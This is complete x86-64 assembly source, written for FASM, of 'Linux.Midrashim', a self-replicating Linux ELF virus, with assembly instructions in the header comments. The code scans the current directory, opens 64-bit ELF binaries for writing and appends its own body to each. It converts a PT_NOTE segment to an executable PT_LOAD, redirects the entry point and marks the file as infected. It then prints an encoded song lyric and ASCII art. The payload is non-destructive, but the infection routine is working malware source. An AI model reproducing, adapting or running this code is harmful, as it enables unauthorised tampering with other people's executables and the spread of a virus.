; Linux.Midrashim ; Written by TMZ ; ; Finished on 30.05.2020 ; Released on 07.11.2020 ; The release was delayed because I was trying to code a fancy 90's style payload and due to lack of time, I'll leave this to another project. ; This is my first full assembly virus and should be assembled with FASM x64 (tested with version 1.73.25 but it should work with more recent too). ; - relies on PT_NOTE -> PT_LOAD infection technique and should work on regular x64 ELF executables (position independent or not). ; - should use mmap but instead it uses pread and pwrite (due to lazyness). ; - stores stuff on memory buffer (r15 register). ; - infects current directory (non recursively). ; - has several parts that could have improved, like detecting first virus execution with a better approach. ; ; Assemble with: ; $ fasm Linux.Midrashim.asm ; ; Payload (non destructive) is a quote from a song and it's encoded for no reason whatsoever. ; ; A big thanks for those who keeps the VX scene alive! ; Feel free to email me: tmz@null.net || tmz@syscall.sh || thomazi@linux.com ; @guitmz || @TMZvx ; https://www.guitmz.com ; https://syscall.sh ; ; Use at your own risk, I'm not responsible for any damages that this may cause, do not spread it into the wild! ; ; References: ; https://www.guitmz.com/linux-midrashim-elf-virus/ ; https://www.symbolcrash.com/2019/03/27/pt_note-to-pt_load-injection-in-elf ; https://www.wikidata.org/wiki/Q6041496 ; https://legacyofkain.fandom.com/wiki/Ozar_Midrashim ; https://en.wikipedia.org/wiki/Don%27t_Be_Afraid_(album) ; ; Stack buffer: ; r15 + 0 = stack buffer (10000 bytes) = stat ; r15 + 48 = stat.st_size ; r15 + 144 = ehdr ; r15 + 148 = ehdr.class ; r15 + 152 = ehdr.pad ; r15 + 168 = ehdr.entry ; r15 + 176 = ehdr.phoff ; r15 + 198 = ehdr.phentsize ; r15 + 200 = ehdr.phnum ; r15 + 208 = phdr = phdr.type ; r15 + 212 = phdr.flags ; r15 + 216 = phdr.offset ; r15 + 224 = phdr.vaddr ; r15 + 232 = phdr.paddr ; r15 + 240 = phdr.filesz ; r15 + 248 = phdr.memsz ; r15 + 256 = phdr.align ; r15 + 300 = jmp rel ; r15 + 350 = directory size ; r15 + 400 = dirent = dirent.d_ino ; r15 + 416 = dirent.d_reclen ; r15 + 418 = dirent.d_type ; r15 + 419 = dirent.d_name ; r15 + 3000 = first run control flag ; r15 + 3001 = decoded payload format ELF64 executable 3 SYS_EXIT = 60 SYS_OPEN = 2 SYS_CLOSE = 3 SYS_WRITE = 1 SYS_READ = 0 SYS_EXECVE = 59 SYS_GETDENTS64 = 217 SYS_FSTAT = 5 SYS_LSEEK = 8 SYS_PREAD64 = 17 SYS_PWRITE64 = 18 SYS_SYNC = 162 STDOUT = 1 EHDR_SIZE = 64 ELFCLASS64 = 2 O_RDONLY = 0 O_RDWR = 2 SEEK_END = 2 DIRENT_BUFSIZE = 1024 MFD_CLOEXEC = 1 DT_REG = 8 PT_LOAD = 1 PT_NOTE = 4 PF_X = 1 PF_R = 4 FIRST_RUN = 1 V_SIZE = 2631 segment readable executable entry v_start v_start: mov r14, [rsp + 8] ; saving argv0 to r14 push rdx push rsp sub rsp, 5000 ; reserving 5000 bytes mov r15, rsp ; r15 has the reserved stack buffer address check_first_run: mov rdi, r14 ; argv0 to rdi mov rsi, O_RDONLY xor rdx, rdx ; not using any flags mov rax, SYS_OPEN syscall ; rax contains the argv0 fd mov rdi, rax mov rsi, r15 ; rsi = r15 = stack buffer address mov rax, SYS_FSTAT ; getting argv0 size in bytes syscall ; stat.st_size = [r15 + 48] cmp qword [r15 + 48], V_SIZE ; compare argv0 size with virus size jg load_dir ; if greater, not first run, continue infecting without setting control flag mov byte [r15 + 3000], FIRST_RUN ; set the control flag to [r15 + 3000] to represent virus first execution, not a great approach but will do for now load_dir: push "." ; pushing "." to stack (rsp) mov rdi, rsp ; moving "." to rdi mov rsi, O_RDONLY xor rdx, rdx ; not using any flags mov rax, SYS_OPEN syscall ; rax contains the fd pop rdi cmp rax, 0 ; if can't open file, exit now jbe v_stop mov rdi, rax ; move fd to rdi lea rsi, [r15 + 400] ; rsi = dirent = [r15 + 400] mov rdx, DIRENT_BUFSIZE ; buffer with maximum directory size mov rax, SYS_GETDENTS64 syscall ; dirent contains the directory entries test rax, rax ; check directory list was successful js v_stop ; if negative code is returned, I failed and should exit mov qword [r15 + 350], rax ; [r15 + 350] now holds directory size mov rax, SYS_CLOSE ; close source fd in rdi syscall xor rcx, rcx ; will be the position in the directory entries file_loop: push rcx ; preserving rcx (important!!!) cmp byte [rcx + r15 + 418], DT_REG ; check if it's a regular file dirent.d_type = [r15 + 418] jne .continue ; if not, proceed to next file .open_target_file: lea rdi, [rcx + r15 + 419] ; dirent.d_name = [r15 + 419] mov rsi, O_RDWR xor rdx, rdx ; not using any flags mov rax, SYS_OPEN syscall cmp rax, 0 ; if can't open file, exit now jbe .continue mov r9, rax ; r9 contains target fd .read_ehdr: mov rdi, r9 ; r9 contains fd lea rsi, [r15 + 144] ; rsi = ehdr = [r15 + 144] mov rdx, EHDR_SIZE ; ehdr.size mov r10, 0 ; read at offset 0 mov rax, SYS_PREAD64 syscall .is_elf: cmp dword [r15 + 144], 0x464c457f ; 0x464c457f means .ELF (little-endian) jnz .close_file ; not an ELF binary, close and continue to next file if any .is_64: cmp byte [r15 + 148], ELFCLASS64 ; check if target ELF is 64bit jne .close_file ; skipt it if not .is_infected: cmp dword [r15 + 152], 0x005a4d54 ; check signature in [r15 + 152] ehdr.pad (TMZ in little-endian, plus trailing zero to fill up a word size) jz .close_file ; already infected, close and continue to next file if any mov r8, [r15 + 176] ; r8 now holds ehdr.phoff from [r15 + 176] xor rbx, rbx ; initializing phdr loop counter in rbx xor r14, r14 ; r14 will hold phdr file offset .loop_phdr: mov rdi, r9 ; r9 contains fd lea rsi, [r15 + 208] ; rsi = phdr = [r15 + 208] mov dx, word [r15 + 198] ; ehdr.phentsize is at [r15 + 198] mov r10, r8 ; read at ehdr.phoff from r8 (incrementing ehdr.phentsize each loop iteraction) mov rax, SYS_PREAD64 syscall cmp byte [r15 + 208], PT_NOTE ; check if phdr.type in [r15 + 208] is PT_NOTE (4) jz .infect ; if yes, jackpot, start infecting inc rbx ; if not, increase rbx counter cmp bx, word [r15 + 200] ; check if we looped through all phdrs already (ehdr.phnum = [r15 + 200]) jge .close_file ; exit if no valid phdr for infection was found add r8w, word [r15 + 198] ; otherwise, add current ehdr.phentsize from [r15 + 198] into r8w jnz .loop_phdr ; read next phdr .infect: .get_target_phdr_file_offset: mov ax, bx ; loading phdr loop counter bx to ax mov dx, word [r15 + 198] ; loading ehdr.phentsize from [r15 + 198] to dx imul dx ; bx * ehdr.phentsize mov r14w, ax add r14, [r15 + 176] ; r14 = ehdr.phoff + (bx * ehdr.phentsize) .file_info: mov rdi, r9 mov rsi, r15 ; rsi = r15 = stack buffer address mov rax, SYS_FSTAT syscall ; stat.st_size = [r15 + 48] .append_virus: ; getting target EOF mov rdi, r9 ; r9 contains fd mov rsi, 0 ; seek offset 0 mov rdx, SEEK_END mov rax, SYS_LSEEK syscall ; getting target EOF offset in rax push rax ; saving target EOF call .delta ; the age old trick .delta: pop rbp sub rbp, .delta ; writing virus body to EOF mov rdi, r9 ; r9 contains fd lea rsi, [rbp + v_start] ; loading v_start address in rsi mov rdx, v_stop - v_start ; virus size mov r10, rax ; rax contains target EOF offset from previous syscall mov rax, SYS_PWRITE64 syscall cmp rax, 0 jbe .close_file .patch_phdr: mov dword [r15 + 208], PT_LOAD ; change phdr type in [r15 + 208] from PT_NOTE to PT_LOAD (1) mov dword [r15 + 212], PF_R or PF_X ; change phdr.flags in [r15 + 212] to PF_X (1) | PF_R (4) pop rax ; restoring target EOF offeset into rax mov [r15 + 216], rax ; phdr.offset [r15 + 216] = target EOF offset mov r13, [r15 + 48] ; storing target stat.st_size from [r15 + 48] in r13 add r13, 0xc000000 ; adding 0xc000000 to target file size mov [r15 + 224], r13 ; changing phdr.vaddr in [r15 + 224] to new one in r13 (stat.st_size + 0xc000000) mov qword [r15 + 256], 0x200000 ; set phdr.align in [r15 + 256] to 2mb add qword [r15 + 240], v_stop - v_start + 5 ; add virus size to phdr.filesz in [r15 + 240] + 5 for the jmp to original ehdr.entry add qword [r15 + 248], v_stop - v_start + 5 ; add virus size to phdr.memsz in [r15 + 248] + 5 for the jmp to original ehdr.entry ; writing patched phdr mov rdi, r9 ; r9 contains fd mov rsi, r15 ; rsi = r15 = stack buffer address lea rsi, [r15 + 208] ; rsi = phdr = [r15 + 208] mov dx, word [r15 + 198] ; ehdr.phentsize from [r15 + 198] mov r10, r14 ; phdr from [r15 + 208] mov rax, SYS_PWRITE64 syscall cmp rax, 0 jbe .close_file .patch_ehdr: ; patching ehdr mov r14, [r15 + 168] ; storing target original ehdr.entry from [r15 + 168] in r14 mov [r15 + 168], r13 ; set ehdr.entry in [r15 + 168] to r13 (phdr.vaddr) mov r13, 0x005a4d54 ; loading virus signature into r13 (TMZ in little-endian) mov [r15 + 152], r13 ; adding the virus signature to ehdr.pad in [r15 + 152] ; writing patched ehdr mov rdi, r9 ; r9 contains fd lea rsi, [r15 + 144] ; rsi = ehdr = [r15 + 144] mov rdx, EHDR_SIZE ; ehdr.size mov r10, 0 ; ehdr.offset mov rax, SYS_PWRITE64 syscall cmp rax, 0 jbe .close_file .write_patched_jmp: ; getting target new EOF mov rdi, r9 ; r9 contains fd mov rsi, 0 ; seek offset 0 mov rdx, SEEK_END mov rax, SYS_LSEEK syscall ; getting target EOF offset in rax ; creating patched jmp mov rdx, [r15 + 224] ; rdx = phdr.vaddr add rdx, 5 sub r14, rdx sub r14, v_stop - v_start mov byte [r15 + 300 ], 0xe9 mov dword [r15 + 301], r14d ; writing patched jmp to EOF mov rdi, r9 ; r9 contains fd lea rsi, [r15 + 300] ; rsi = patched jmp in stack buffer = [r15 + 208] mov rdx, 5 ; size of jmp rel mov r10, rax ; mov rax to r10 = new target EOF mov rax, SYS_PWRITE64 syscall cmp rax, 0 jbe .close_file mov rax, SYS_SYNC ; commiting filesystem caches to disk syscall .close_file: mov rax, SYS_CLOSE ; close source fd in rdi syscall .continue: pop rcx add cx, word [rcx + r15 + 416] ; adding directory record lenght to cx (lower rcx, for word) cmp rcx, qword [r15 + 350] ; comparing rcx counter with [r15 + 350] (directory records total size) jne file_loop ; if counter is not the same, continue loop. Exit virus otherwise cmp byte [r15 + 3000], FIRST_RUN ; checking if custom control flag we set earlier indicates virus first execution jnz infected_run ; if control flag != 1, it should be running from an infected file, use normal payload call show_msg ; if control flag == 1, assume virus is being executed for the first time and display a different message info_msg: db 'Midrashim by TMZ (c) 2020', 0xa ; not the nicest approach like I mentioned before but quick to implement info_len = $-info_msg show_msg: pop rsi ; info_msg address to rsi mov rax, SYS_WRITE mov rdi, STDOUT ; display payload mov rdx, info_len syscall jmp cleanup ; cleanup and exit infected_run: ; 1337 encoded payload, very hax0r call payload msg: ; payload first part db 0x59, 0x7c, 0x95, 0x95, 0x57, 0x9e, 0x9d, 0x57 db 0xa3, 0x9f, 0x92, 0x57, 0x93, 0x9e, 0xa8, 0xa3 db 0x96, 0x9d, 0x98, 0x92, 0x57, 0x7e, 0x57, 0x98 db 0x96, 0x9d, 0x57, 0xa8, 0x92, 0x92, 0x57, 0x96 db 0x57, 0x9f, 0xa2, 0x94, 0x92, 0x57, 0x9f, 0x9c db 0x9b, 0x9c, 0x94, 0xa9, 0x96, 0xa7, 0x9f, 0x9e db 0x98, 0x57, 0x89, 0x9c, 0x9d, 0x96, 0x9b, 0x93 db 0x57, 0x7a, 0x98, 0x73, 0x9c, 0x9d, 0x96, 0x9b db 0x93, 0x57, 0xa4, 0x96, 0x9b, 0xa0, 0x9e, 0x9d db 0x94, 0x57, 0x99, 0x92, 0xa3, 0xa4, 0x92, 0x92 db 0x9d, 0x57, 0xa3, 0x9f, 0x92, 0x57, 0x94, 0xa9 db 0x96, 0x9e, 0x9d, 0x57, 0x92, 0x9b, 0x92, 0xa5 db 0x96, 0xa3, 0x9c, 0xa9, 0xa8, 0x57, 0x96, 0x9d db 0x93, 0x57, 0xa3, 0xa9, 0x92, 0x92, 0xa8, 0x41 db 0x7c, 0x9f, 0x5b, 0x57, 0x9e, 0x95, 0x57, 0x7e db 0x57, 0x9f, 0x96, 0x93, 0x57, 0xa3, 0x9f, 0x92 db 0x57, 0x9a, 0x9c, 0x9d, 0x92, 0xae, 0x57, 0x7e db 0x54, 0x93, 0x57, 0x9f, 0x96, 0xa5, 0x92, 0x57 db 0x54, 0x92, 0x9a, 0x57, 0x9a, 0x96, 0xa0, 0x92 db 0x57, 0x9c, 0x9d, 0x92, 0x57, 0x9c, 0x95, 0x57 db 0xa3, 0x9f, 0x9c, 0xa8, 0x92, 0x57, 0x9a, 0x92 db 0x5b, 0x57, 0xa3, 0x9f, 0x92, 0x9d, 0x57, 0x7e db 0x54, 0x93, 0x57, 0xa8, 0x92, 0x9d, 0x93, 0x57 db 0x9a, 0xae, 0xa8, 0x92, 0x9b, 0x95, 0x57, 0xa3 db 0x9c, 0x57, 0xa8, 0xa3, 0x96, 0x9b, 0xa0, 0x57 db 0xa3, 0x9f, 0x92, 0x57, 0x9b, 0x96, 0x9d, 0x93 db 0xa8, 0x98, 0x96, 0xa7, 0x92, 0x57, 0x96, 0x9d db 0x93, 0x57, 0xa8, 0x98, 0x96, 0xa9, 0x92, 0x57 db 0x92, 0xa5, 0x92, 0xa9, 0xae, 0x99, 0x9c, 0x93 db 0xae, 0x41, 0x8e, 0x9c, 0xa2, 0x57, 0xa8, 0x92 db 0x92, 0x5b, 0x57, 0x54, 0x98, 0x96, 0xa2, 0xa8 db 0x92, 0x57, 0x7e, 0x57, 0x94, 0x9c, 0xa3, 0x57 db 0xa3, 0x9f, 0x9e, 0xa8, 0x57, 0xa8, 0x9c, 0xa9 db 0xa3, 0x57, 0x9c, 0x95, 0x57, 0x95, 0x9e, 0x92 db 0x9b, 0x93, 0x57, 0x99, 0x92, 0x9f, 0x9e, 0x9d db 0x93, 0x57, 0x9a, 0x92, 0x5d, 0x57, 0x79, 0x92 db 0x98, 0x96, 0xa2, 0xa8, 0x92, 0x5d, 0x5d, 0x5d db 0x57, 0x54, 0x98, 0x96, 0xa2, 0xa8, 0x92, 0x57 db 0x7e, 0x54, 0xa5, 0x92, 0x57, 0x94, 0x9c, 0xa3 db 0x57, 0xa8, 0xa7, 0x9e, 0xa0, 0x92, 0xa8, 0x41 db 0x79, 0x92, 0x98, 0x96, 0xa2, 0xa8, 0x92, 0x57 db 0x7e, 0x57, 0x94, 0x9c, 0x57, 0x99, 0x92, 0xa3 db 0xa4, 0x92, 0x92, 0x9d, 0x57, 0xa3, 0x9f, 0x92 db 0x57, 0xb1, 0x9c, 0x9d, 0x92, 0xa8, 0x5b, 0x57 db 0x92, 0xa5, 0x92, 0x9d, 0x57, 0xa4, 0x9f, 0x92 db 0x9d, 0x57, 0x7e, 0x54, 0x9a, 0x57, 0x9d, 0x9c db 0xa3, 0x57, 0xa8, 0xa2, 0xa7, 0xa7, 0x9c, 0xa8 db 0x92, 0x93, 0x57, 0xa3, 0x9c, 0x41, 0x79, 0x92 db 0x98, 0x96, 0xa2, 0xa8, 0x92, 0x57, 0x7e, 0x54 db 0x9a, 0x57, 0x96, 0x57, 0xa8, 0xa2, 0xa8, 0xa7 db 0x9e, 0x98, 0x9e, 0x9c, 0xa2, 0xa8, 0x57, 0xa7 db 0x92, 0xa9, 0xa8, 0x9c, 0x9d, 0x57, 0xa9, 0x92 db 0xa7, 0x9c, 0xa9, 0xa3, 0x57, 0x41, 0x76, 0x9d db 0x93, 0x57, 0x9e, 0xa3, 0x54, 0xa8, 0x57, 0xa3 db 0x9e, 0x9a, 0x92, 0x57, 0xa3, 0x9c, 0x57, 0x94 db 0x9c, 0x57, 0xa8, 0x9f, 0x9c, 0xa7, 0xa7, 0x9e db 0x9d, 0x94, 0x5d, 0x59, 0x41, 0x37, 0x41 ; payload second part db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x55, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x55 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x41 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x55, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x55, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x41 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x55, 0x55, 0x55, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x55, 0x55, 0x55, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x41 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x55, 0x55, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x55, 0x55, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x41 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x55, 0x55, 0x55, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x55, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x55, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x55, 0x55, 0x55, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x41 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x55 db 0x55, 0x55, 0x55, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x55, 0x55, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x55, 0x55, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x55, 0x55, 0x55, 0x55, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x41 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x55, 0x55, 0x55 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x55, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x55, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x55, 0x55, 0x55 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x41 db 0x57, 0x57, 0x57, 0x55, 0x55, 0x55, 0x55, 0x58 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x55, 0x55, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x55, 0x55, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x55, 0x55, 0x55 db 0x55, 0x55, 0x57, 0x57, 0x57, 0x57, 0x57, 0x41 db 0x57, 0x57, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x55, 0x55, 0x55, 0x55, 0x57, 0x55 db 0x55, 0x55, 0x55, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x55, 0x55, 0x55 db 0x55, 0x55, 0x58, 0x57, 0x57, 0x57, 0x57, 0x41 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x55, 0x55, 0x55 db 0x55, 0x55, 0x5d, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x55, 0x55, 0x57, 0x57, 0x57 db 0x55, 0x55, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x52, 0x55, 0x55, 0x55, 0x55, 0x55 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x41 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x55 db 0x55, 0x55, 0x55, 0x5d, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x55, 0x57, 0x57, 0x5d db 0x55, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x55, 0x55, 0x55, 0x55, 0x55, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x41 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x55, 0x55, 0x55, 0x55, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x55, 0x55, 0x55, 0x55, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x41 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x55, 0x55, 0x55 db 0x55, 0x55, 0x55, 0x55, 0x55, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x41 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55 db 0x55, 0x55, 0x57, 0x57, 0x57, 0x55, 0x57, 0x55 db 0x57, 0x57, 0x57, 0x55, 0x55, 0x55, 0x55, 0x55 db 0x55, 0x55, 0x55, 0x55, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x41 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x55, 0x55, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x57, 0x55 db 0x55, 0x55, 0x55, 0x55, 0x55, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x55, 0x55, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x41 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x55, 0x55, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x55, 0x55, 0x55, 0x55, 0x57, 0x55 db 0x55, 0x55, 0x52, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x61, 0x55, 0x55, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x41 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x55, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x55, 0x55, 0x57, 0x55 db 0x55, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x55, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x41 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x55, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x55, 0x55, 0x57, 0x55 db 0x55, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x55, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x41 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x55, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x55, 0x57, 0x55 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x55, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x41 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x55, 0x57, 0x55 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x41 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x55, 0x57, 0x55 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x41 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x55, 0x57, 0x55 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x41 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57 db 0x57, 0x57, 0x57, 0x57, 0x57, 0x55, 0x57, 0x55 db 0x41 len = $-msg payload: pop rsi ; setting up decoding loop mov rcx, len lea rdi, [r15 + 3001] .decode: lodsb ; load byte from rsi into al sub al, 50 ; decoding it xor al, 5 stosb ; store byte from al into rdi loop .decode ; sub 1 from rcx and continue loop until rcx = 0 lea rsi, [r15 + 3001] ; decoded payload is at [r15 + 3000] mov rax, SYS_WRITE mov rdi, STDOUT ; display payload mov rdx, len syscall cleanup: add rsp, 5000 ; restoring stack so host process can run normally, this also could use some improvement pop rsp pop rdx v_stop: xor rdi, rdi ; exit code 0 mov rax, SYS_EXIT syscall